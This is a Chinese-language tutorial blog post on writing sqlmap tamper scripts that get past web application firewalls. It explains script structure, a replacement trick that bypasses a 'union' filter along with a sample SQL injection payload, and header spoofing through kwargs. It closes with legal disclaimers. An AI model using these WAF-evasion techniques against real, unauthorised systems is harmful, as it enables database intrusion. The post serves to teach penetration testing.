sqlmap-tamper编写指南

admin 2026-01-09 23:28:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章以最小示例切入,详解sqlmaptamper脚本三要素:priority变量、dependencies声明与核心tamper函数,演示如何用字符串替换绕过union过滤,并给出修改headers的kwargs实战用法,附优先级与数据库常量表,为自定义WAF绕过提供可直接套用的模板。 综合评分: 78 文章分类: 渗透测试,安全工具,WEB安全,漏洞POC,实战经验


cover_image

sqlmap-tamper编写指南

lyle

知微守望

2026年1月9日 10:30 浙江

注:最近遇到了一些奇奇怪怪的waf,想自己写一些tamper但是发现没有参考材料可以使用,因此写了这篇文章,以方便进行自定义的tamper编写。笔者笔力有限,如有错误,敬请读者们指正。

Sqlmap tamper简介

sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

一、 一个最小的例子

为了说明tamper的结构,让我们从一个最简单的例子开始

| | | — | | # sqlmap/tamper/escapequotes.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies():     pass def tamper(payload, **kwargs):     return payload.replace("'", "\\'").replace('"', '\\"') |

不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。

priority定义脚本的优先级,用于有多个tamper脚本的情况。

dependencies函数声明该脚本适用/不适用的范围,可以为空。

tamper是主要的函数,接受的参数为payload和**kwargs 返回值为替换后的payload。比如这个例子中就把引号替换为了\\\\'

二、详细介绍

第一部分完成了一个最简单的tamper架构,下面我们进行更详细的介绍

tamper函数

tamper是整个脚本的主体。主要用于修改原本的payload。举例来说,如果服务器上有这么几行代码

| | | — | | $id = trim($POST($id),'union'); $sql="SELECT * FROM users WHERE id='$id'"; |

而我们的payload为

| | | — | | -8363'  union select null -- - |

这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样的tamper

| | | — | | def tamper(payload, **kwargs):     return payload.replace('union','uniounionn') |

保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上–tamper=replaceunion的参数,就可以绕过该过滤规则

dependencies函数

dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:

| | | — | | # sqlmap/tamper/echarunicodeencode.py from lib.core.common import singleTimeWarnMessage def dependencies():     singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) # singleTimeWarnMessage() 用于在控制台中打印出警告信息 |

kwargs

在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明

| | | — | | # sqlmap/tamper/vanrish.py def tamper(payload, **kwargs):     headers = kwargs.get("headers", {})     headers["X-originating-IP"] = "127.0.0.1"     return payload |

这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf

三、结语

tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。

0x04 附录:部分常数值

| | | — | | # sqlmap/lib/enums.py class PRIORITY:     LOWEST = -100     LOWER = -50     LOW = -10     NORMAL = 0     HIGH = 10     HIGHER = 50     HIGHEST = 100 class DBMS:     ACCESS = "Microsoft Access"     DB2 = "IBM DB2"     FIREBIRD = "Firebird"     MAXDB = "SAP MaxDB"     MSSQL = "Microsoft SQL Server"     MYSQL = "MySQL"     ORACLE = "Oracle"     PGSQL = "PostgreSQL"     SQLITE = "SQLite"     SYBASE = "Sybase"     HSQLDB = "HSQLDB" |

真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙、开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:知微守望 lyle《sqlmap-tamper编写指南》